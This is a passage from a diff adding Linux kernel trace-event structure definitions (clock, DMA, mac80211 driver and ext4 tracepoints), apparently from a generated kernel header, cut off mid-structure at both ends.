__data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_clk_duty_cycle { + struct trace_entry ent; + u32 __data_loc_name; + unsigned int num; + unsigned int den; + char __data[0]; +}; + +struct trace_event_raw_clk_parent { + struct trace_entry ent; + u32 __data_loc_name; + u32 __data_loc_pname; + char __data[0]; +}; + +struct trace_event_raw_clk_phase { + struct trace_entry ent; + u32 __data_loc_name; + int phase; + char __data[0]; +}; + +struct trace_event_raw_clk_rate { + struct trace_entry ent; + u32 __data_loc_name; + unsigned long rate; + char __data[0]; +}; + +struct trace_event_raw_clk_rate_range { + struct trace_entry ent; + u32 __data_loc_name; + unsigned long min; + unsigned long max; + char __data[0]; +}; + +struct trace_event_raw_clk_rate_request { + struct trace_entry ent; + u32 __data_loc_name; + u32 __data_loc_pname; + unsigned long min; + unsigned long max; + unsigned long prate; + char __data[0]; +}; + +struct trace_event_raw_clock { + struct trace_entry ent; + u32 __data_loc_name; + u64 state; + u64 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_compact_retry { + struct trace_entry ent; + int order; + int priority; + int result; + int retries; + int max_retries; + bool ret; + char __data[0]; +}; + +struct trace_event_raw_console { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_consume_skb { + struct trace_entry ent; + void *skbaddr; + void *location; + char __data[0]; +}; + +struct trace_event_raw_contention_begin { + struct trace_entry ent; + void *lock_addr; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_contention_end { + struct trace_entry ent; + void *lock_addr; + int ret; + char __data[0]; +}; + +struct trace_event_raw_context_tracking_user { + struct trace_entry ent; + int dummy; + char __data[0]; +}; + +struct trace_event_raw_cpu { + struct trace_entry ent; + u32 state; + u32 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_cpu_frequency_limits { + struct trace_entry ent; + u32 min_freq; + u32 max_freq; + u32 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_cpu_idle_miss { + struct trace_entry ent; + u32 cpu_id; + u32 state; + bool below; + char __data[0]; +}; + +struct trace_event_raw_cpu_latency_qos_request { + struct trace_entry ent; + s32 value; + char __data[0]; +}; + +struct trace_event_raw_cpuhp_enter { + struct trace_entry ent; + unsigned int cpu; + int target; + int idx; + void *fun; + char __data[0]; +}; + +struct trace_event_raw_cpuhp_exit { + struct trace_entry ent; + unsigned int cpu; + int state; + int idx; + int ret; + char __data[0]; +}; + +struct trace_event_raw_cpuhp_multi_enter { + struct trace_entry ent; + unsigned int cpu; + int target; + int idx; + void *fun; + char __data[0]; +}; + +struct trace_event_raw_csd_function { + struct trace_entry ent; + void *func; + void *csd; + char __data[0]; +}; + +struct trace_event_raw_csd_queue_cpu { + struct trace_entry ent; + unsigned int cpu; + void *callsite; + void *func; + void *csd; + char __data[0]; +}; + +struct trace_event_raw_dev_pm_qos_request { + struct trace_entry ent; + u32 __data_loc_name; + enum dev_pm_qos_req_type type; + s32 new_value; + char __data[0]; +}; + +struct trace_event_raw_device_pm_callback_end { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_driver; + int error; + char __data[0]; +}; + +struct trace_event_raw_device_pm_callback_start { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_driver; + u32 __data_loc_parent; + u32 __data_loc_pm_ops; + int event; + char __data[0]; +}; + +struct trace_event_raw_devres { + struct trace_entry ent; + u32 __data_loc_devname; + struct device *dev; + const char *op; + void *node; + const char *name; + size_t size; + char __data[0]; +}; + +struct trace_event_raw_dma_alloc { + struct trace_entry ent; + u32 __data_loc_device; + u64 phys_addr; + u64 dma_addr; + size_t size; + gfp_t flags; + unsigned long attrs; + char __data[0]; +}; + +struct trace_event_raw_dma_fence { + struct trace_entry ent; + u32 __data_loc_driver; + u32 __data_loc_timeline; + unsigned int context; + unsigned int seqno; + char __data[0]; +}; + +struct trace_event_raw_dma_free { + struct trace_entry ent; + u32 __data_loc_device; + u64 phys_addr; + u64 dma_addr; + size_t size; + unsigned long attrs; + char __data[0]; +}; + +struct trace_event_raw_dma_map { + struct trace_entry ent; + u32 __data_loc_device; + u64 phys_addr; + u64 dma_addr; + size_t size; + enum dma_data_direction dir; + unsigned long attrs; + char __data[0]; +}; + +struct trace_event_raw_dma_map_sg { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_phys_addrs; + u32 __data_loc_dma_addrs; + u32 __data_loc_lengths; + enum dma_data_direction dir; + unsigned long attrs; + char __data[0]; +}; + +struct trace_event_raw_dma_sync_sg { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_dma_addrs; + u32 __data_loc_lengths; + enum dma_data_direction dir; + char __data[0]; +}; + +struct trace_event_raw_dma_sync_single { + struct trace_entry ent; + u32 __data_loc_device; + u64 dma_addr; + size_t size; + enum dma_data_direction dir; + char __data[0]; +}; + +struct trace_event_raw_dma_unmap { + struct trace_entry ent; + u32 __data_loc_device; + u64 addr; + size_t size; + enum dma_data_direction dir; + unsigned long attrs; + char __data[0]; +}; + +struct trace_event_raw_dma_unmap_sg { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_addrs; + enum dma_data_direction dir; + unsigned long attrs; + char __data[0]; +}; + +struct trace_event_raw_dql_stall_detected { + struct trace_entry ent; + unsigned short thrs; + unsigned int len; + unsigned long last_reap; + unsigned long hist_head; + unsigned long now; + unsigned long hist[4]; + char __data[0]; +}; + +struct trace_event_raw_drv_add_nan_func { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 type; + u8 inst_id; + char __data[0]; +}; + +struct trace_event_raw_drv_add_twt_setup { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + u8 dialog_token; + u8 control; + __le16 req_type; + __le64 twt; + u8 duration; + __le16 mantissa; + u8 channel; + char __data[0]; +}; + +struct trace_event_raw_drv_ampdu_action { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + enum ieee80211_ampdu_mlme_action ieee80211_ampdu_mlme_action; + char sta_addr[6]; + u16 tid; + u16 ssn; + u16 buf_size; + bool amsdu; + u16 timeout; + u16 action; + char __data[0]; +}; + +struct trace_event_raw_drv_can_activate_links { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u16 active_links; + char __data[0]; +}; + +struct trace_event_raw_drv_can_neg_ttlm { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u16 downlink[16]; + u16 uplink[16]; + char __data[0]; +}; + +struct trace_event_raw_drv_change_chanctx { + struct trace_entry ent; + char wiphy_name[32]; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u32 min_control_freq; + u32 min_freq_offset; + u32 min_chan_width; + u32 min_center_freq1; + u32 min_freq1_offset; + u32 min_center_freq2; + u32 ap_control_freq; + u32 ap_freq_offset; + u32 ap_chan_width; + u32 ap_center_freq1; + u32 ap_freq1_offset; + u32 ap_center_freq2; + u8 rx_chains_static; + u8 rx_chains_dynamic; + u32 changed; + char __data[0]; +}; + +struct trace_event_raw_drv_change_interface { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 new_type; + bool new_p2p; + char __data[0]; +}; + +struct trace_event_raw_drv_change_sta_links { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u16 old_links; + u16 new_links; + char __data[0]; +}; + +struct trace_event_raw_drv_change_vif_links { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u16 old_links; + u16 new_links; + char __data[0]; +}; + +struct trace_event_raw_drv_channel_switch_beacon { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + char __data[0]; +}; + +struct trace_event_raw_drv_conf_tx { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + unsigned int link_id; + u16 ac; + u16 txop; + u16 cw_min; + u16 cw_max; + u8 aifs; + bool uapsd; + char __data[0]; +}; + +struct trace_event_raw_drv_config { + struct trace_entry ent; + char wiphy_name[32]; + u32 changed; + u32 flags; + int power_level; + int dynamic_ps_timeout; + u16 listen_interval; + u8 long_frame_max_tx_count; + u8 short_frame_max_tx_count; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + int smps; + char __data[0]; +}; + +struct trace_event_raw_drv_config_iface_filter { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + unsigned int filter_flags; + unsigned int changed_flags; + char __data[0]; +}; + +struct trace_event_raw_drv_configure_filter { + struct trace_entry ent; + char wiphy_name[32]; + unsigned int changed; + unsigned int total; + u64 multicast; + char __data[0]; +}; + +struct trace_event_raw_drv_del_nan_func { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 instance_id; + char __data[0]; +}; + +struct trace_event_raw_drv_event_callback { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 type; + char __data[0]; +}; + +struct trace_event_raw_drv_flush { + struct trace_entry ent; + char wiphy_name[32]; + bool drop; + u32 queues; + char __data[0]; +}; + +struct trace_event_raw_drv_get_antenna { + struct trace_entry ent; + char wiphy_name[32]; + u32 tx_ant; + u32 rx_ant; + int ret; + char __data[0]; +}; + +struct trace_event_raw_drv_get_expected_throughput { + struct trace_entry ent; + char sta_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_drv_get_ftm_responder_stats { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char __data[0]; +}; + +struct trace_event_raw_drv_get_key_seq { + struct trace_entry ent; + char wiphy_name[32]; + u32 cipher; + u8 hw_key_idx; + u8 flags; + s8 keyidx; + char __data[0]; +}; + +struct trace_event_raw_drv_get_ringparam { + struct trace_entry ent; + char wiphy_name[32]; + u32 tx; + u32 tx_max; + u32 rx; + u32 rx_max; + char __data[0]; +}; + +struct trace_event_raw_drv_get_stats { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + unsigned int ackfail; + unsigned int rtsfail; + unsigned int fcserr; + unsigned int rtssucc; + char __data[0]; +}; + +struct trace_event_raw_drv_get_survey { + struct trace_entry ent; + char wiphy_name[32]; + int idx; + char __data[0]; +}; + +struct trace_event_raw_drv_get_txpower { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + int dbm; + int ret; + char __data[0]; +}; + +struct trace_event_raw_drv_join_ibss { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 dtimper; + u16 bcnint; + u32 __data_loc_ssid; + char __data[0]; +}; + +struct trace_event_raw_drv_link_info_changed { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u64 changed; + int link_id; + bool cts; + bool shortpre; + bool shortslot; + bool enable_beacon; + u8 dtimper; + u16 bcnint; + u16 assoc_cap; + u64 sync_tsf; + u32 sync_device_ts; + u8 sync_dtim_count; + u32 basic_rates; + int mcast_rate[6]; + u16 ht_operation_mode; + s32 cqm_rssi_thold; + s32 cqm_rssi_hyst; + u32 channel_width; + u32 channel_cfreq1; + u32 channel_cfreq1_offset; + bool qos; + bool hidden_ssid; + int txpower; + u8 p2p_oppps_ctwindow; + char __data[0]; +}; + +struct trace_event_raw_drv_nan_change_conf { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 master_pref; + u8 bands; + u32 changes; + char __data[0]; +}; + +struct trace_event_raw_drv_neg_ttlm_res { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 res; + u16 downlink[16]; + u16 uplink[16]; + char __data[0]; +}; + +struct trace_event_raw_drv_net_setup_tc { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 type; + char __data[0]; +}; + +struct trace_event_raw_drv_offset_tsf { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + s64 tsf_offset; + char __data[0]; +}; + +struct trace_event_raw_drv_prepare_multicast { + struct trace_entry ent; + char wiphy_name[32]; + int mc_count; + char __data[0]; +}; + +struct trace_event_raw_drv_reconfig_complete { + struct trace_entry ent; + char wiphy_name[32]; + u8 reconfig_type; + char __data[0]; +}; + +struct trace_event_raw_drv_remain_on_channel { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + int center_freq; + int freq_offset; + unsigned int duration; + u32 type; + char __data[0]; +}; + +struct trace_event_raw_drv_return_bool { + struct trace_entry ent; + char wiphy_name[32]; + bool ret; + char __data[0]; +}; + +struct trace_event_raw_drv_return_int { + struct trace_entry ent; + char wiphy_name[32]; + int ret; + char __data[0]; +}; + +struct trace_event_raw_drv_return_u32 { + struct trace_entry ent; + char wiphy_name[32]; + u32 ret; + char __data[0]; +}; + +struct trace_event_raw_drv_return_u64 { + struct trace_entry ent; + char wiphy_name[32]; + u64 ret; + char __data[0]; +}; + +struct trace_event_raw_drv_set_antenna { + struct trace_entry ent; + char wiphy_name[32]; + u32 tx_ant; + u32 rx_ant; + int ret; + char __data[0]; +}; + +struct trace_event_raw_drv_set_bitrate_mask { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 legacy_2g; + u32 legacy_5g; + char __data[0]; +}; + +struct trace_event_raw_drv_set_coverage_class { + struct trace_entry ent; + char wiphy_name[32]; + s16 value; + char __data[0]; +}; + +struct trace_event_raw_drv_set_default_unicast_key { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + int key_idx; + char __data[0]; +}; + +struct trace_event_raw_drv_set_key { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u32 cmd; + u32 cipher; + u8 hw_key_idx; + u8 flags; + s8 keyidx; + char __data[0]; +}; + +struct trace_event_raw_drv_set_rekey_data { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 kek[16]; + u8 kck[16]; + u8 replay_ctr[8]; + char __data[0]; +}; + +struct trace_event_raw_drv_set_ringparam { + struct trace_entry ent; + char wiphy_name[32]; + u32 tx; + u32 rx; + char __data[0]; +}; + +struct trace_event_raw_drv_set_tim { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + bool set; + char __data[0]; +}; + +struct trace_event_raw_drv_set_tsf { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u64 tsf; + char __data[0]; +}; + +struct trace_event_raw_drv_set_wakeup { + struct trace_entry ent; + char wiphy_name[32]; + bool enabled; + char __data[0]; +}; + +struct trace_event_raw_drv_sta_notify { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u32 cmd; + char __data[0]; +}; + +struct trace_event_raw_drv_sta_rc_update { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u32 changed; + char __data[0]; +}; + +struct trace_event_raw_drv_sta_set_txpwr { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + s16 txpwr; + u8 type; + char __data[0]; +}; + +struct trace_event_raw_drv_sta_state { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u32 old_state; + u32 new_state; + char __data[0]; +}; + +struct trace_event_raw_drv_start_ap { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 link_id; + u8 dtimper; + u16 bcnint; + u32 __data_loc_ssid; + bool hidden_ssid; + char __data[0]; +}; + +struct trace_event_raw_drv_start_nan { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 master_pref; + u8 bands; + char __data[0]; +}; + +struct trace_event_raw_drv_stop { + struct trace_entry ent; + char wiphy_name[32]; + bool suspend; + char __data[0]; +}; + +struct trace_event_raw_drv_stop_ap { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 link_id; + char __data[0]; +}; + +struct trace_event_raw_drv_stop_nan { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char __data[0]; +}; + +struct trace_event_raw_drv_sw_scan_start { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char mac_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_drv_switch_vif_chanctx { + struct trace_entry ent; + char wiphy_name[32]; + int n_vifs; + u32 mode; + u32 __data_loc_vifs; + char __data[0]; +}; + +struct trace_event_raw_drv_tdls_cancel_channel_switch { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_drv_tdls_channel_switch { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u8 oper_class; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + char __data[0]; +}; + +struct trace_event_raw_drv_tdls_recv_channel_switch { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 action_code; + char sta_addr[6]; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u32 status; + bool peer_initiator; + u32 timestamp; + u16 switch_time; + u16 switch_timeout; + char __data[0]; +}; + +struct trace_event_raw_drv_twt_teardown_request { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + u8 flowid; + char __data[0]; +}; + +struct trace_event_raw_drv_update_tkip_key { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u32 iv32; + char __data[0]; +}; + +struct trace_event_raw_drv_vif_cfg_changed { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u64 changed; + bool assoc; + bool ibss_joined; + bool ibss_creator; + u16 aid; + u32 __data_loc_arp_addr_list; + int arp_addr_cnt; + u32 __data_loc_ssid; + int s1g; + bool idle; + bool ps; + char __data[0]; +}; + +struct trace_event_raw_drv_wake_tx_queue { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char sta_addr[6]; + u8 ac; + u8 tid; + char __data[0]; +}; + +struct trace_event_raw_e1000e_trace_mac_register { + struct trace_entry ent; + uint32_t reg; + char __data[0]; +}; + +struct trace_event_raw_emulate_vsyscall { + struct trace_entry ent; + int nr; + char __data[0]; +}; + +struct trace_event_raw_error_report_template { + struct trace_entry ent; + enum error_detector error_detector; + unsigned long id; + char __data[0]; +}; + +struct trace_event_raw_exit_mmap { + struct trace_entry ent; + struct mm_struct *mm; + struct maple_tree *mt; + char __data[0]; +}; + +struct trace_event_raw_ext4__bitmap_load { + struct trace_entry ent; + dev_t dev; + __u32 group; + char __data[0]; +}; + +struct trace_event_raw_ext4__es_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + char __data[0]; +}; + +struct trace_event_raw_ext4__es_shrink_enter { + struct trace_entry ent; + dev_t dev; + int nr_to_scan; + int cache_cnt; + char __data[0]; +}; + +struct trace_event_raw_ext4__fallocate_mode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t offset; + loff_t len; + int mode; + char __data[0]; +}; + +struct trace_event_raw_ext4__folio_op { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned long index; + char __data[0]; +}; + +struct trace_event_raw_ext4__map_blocks_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + unsigned int len; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4__map_blocks_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int flags; + ext4_fsblk_t pblk; + ext4_lblk_t lblk; + unsigned int len; + unsigned int mflags; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4__mb_new_pa { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 pa_pstart; + __u64 pa_lstart; + __u32 pa_len; + char __data[0]; +}; + +struct trace_event_raw_ext4__mballoc { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int result_start; + __u32 result_group; + int result_len; + char __data[0]; +}; + +struct trace_event_raw_ext4__trim { + struct trace_entry ent; + int dev_major; + int dev_minor; + __u32 group; + int start; + int len; + char __data[0]; +}; + +struct trace_event_raw_ext4__truncate { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 blocks; + char __data[0]; +}; + +struct trace_event_raw_ext4__write_begin { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t pos; + unsigned int len; + char __data[0]; +}; + +struct trace_event_raw_ext4__write_end { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t pos; + unsigned int len; + unsigned int copied; + char __data[0]; +}; + +struct trace_event_raw_ext4_alloc_da_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int data_blocks; + char __data[0]; +}; + +struct trace_event_raw_ext4_allocate_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + unsigned int len; + __u32 logical; + __u32 lleft; + __u32 lright; + __u64 goal; + __u64 pleft; + __u64 pright; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_allocate_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t dir; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_begin_ordered_truncate { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t new_size; + char __data[0]; +}; + +struct trace_event_raw_ext4_collapse_range { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t offset; + loff_t len; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_release_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 i_blocks; + int freed_blocks; + int reserved_data_blocks; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_reserve_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 i_blocks; + int reserve_blocks; + int reserved_data_blocks; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_update_reserve_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 i_blocks; + int used_blocks; + int reserved_data_blocks; + int quota_claim; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_write_pages { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned long first_page; + long nr_to_write; + int sync_mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_da_write_pages_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 lblk; + __u32 len; + __u32 flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_discard_blocks { + struct trace_entry ent; + dev_t dev; + __u64 blk; + __u64 count; + char __data[0]; +}; + +struct trace_event_raw_ext4_discard_preallocations { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int len; + char __data[0]; +}; + +struct trace_event_raw_ext4_drop_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int drop; + char __data[0]; +}; + +struct trace_event_raw_ext4_error { + struct trace_entry ent; + dev_t dev; + const char *function; + unsigned int line; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_find_extent_range_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_find_extent_range_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_insert_delayed_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + bool lclu_allocated; + bool end_allocated; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_lookup_extent_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_lookup_extent_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t lblk; + ext4_lblk_t len; + ext4_fsblk_t pblk; + char status; + int found; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_remove_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t lblk; + loff_t len; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_shrink { + struct trace_entry ent; + dev_t dev; + int nr_shrunk; + unsigned long long scan_time; + int nr_skipped; + int retried; + char __data[0]; +}; + +struct trace_event_raw_ext4_es_shrink_scan_exit { + struct trace_entry ent; + dev_t dev; + int nr_shrunk; + int cache_cnt; + char __data[0]; +}; + +struct trace_event_raw_ext4_evict_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int nlink; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_convert_to_initialized_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t m_lblk; + unsigned int m_len; + ext4_lblk_t u_lblk; + unsigned int u_len; + ext4_fsblk_t u_pblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_convert_to_initialized_fastpath { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t m_lblk; + unsigned int m_len; + ext4_lblk_t u_lblk; + unsigned int u_len; + ext4_fsblk_t u_pblk; + ext4_lblk_t i_lblk; + unsigned int i_len; + ext4_fsblk_t i_pblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_handle_unwritten_extents { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int flags; + ext4_lblk_t lblk; + ext4_fsblk_t pblk; + unsigned int len; + unsigned int allocated; + ext4_fsblk_t newblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_load_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_fsblk_t pblk; + ext4_lblk_t lblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_remove_space { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t start; + ext4_lblk_t end; + int depth; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_remove_space_done { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t start; + ext4_lblk_t end; + int depth; + ext4_fsblk_t pc_pclu; + ext4_lblk_t pc_lblk; + int pc_state; + unsigned short eh_entries; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_rm_idx { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_fsblk_t pblk; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_rm_leaf { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t start; + ext4_lblk_t ee_lblk; + ext4_fsblk_t ee_pblk; + short ee_len; + ext4_fsblk_t pc_pclu; + ext4_lblk_t pc_lblk; + int pc_state; + char __data[0]; +}; + +struct trace_event_raw_ext4_ext_show_extent { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_fsblk_t pblk; + ext4_lblk_t lblk; + unsigned short len; + char __data[0]; +}; + +struct trace_event_raw_ext4_fallocate_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t pos; + unsigned int blocks; + int ret; + char 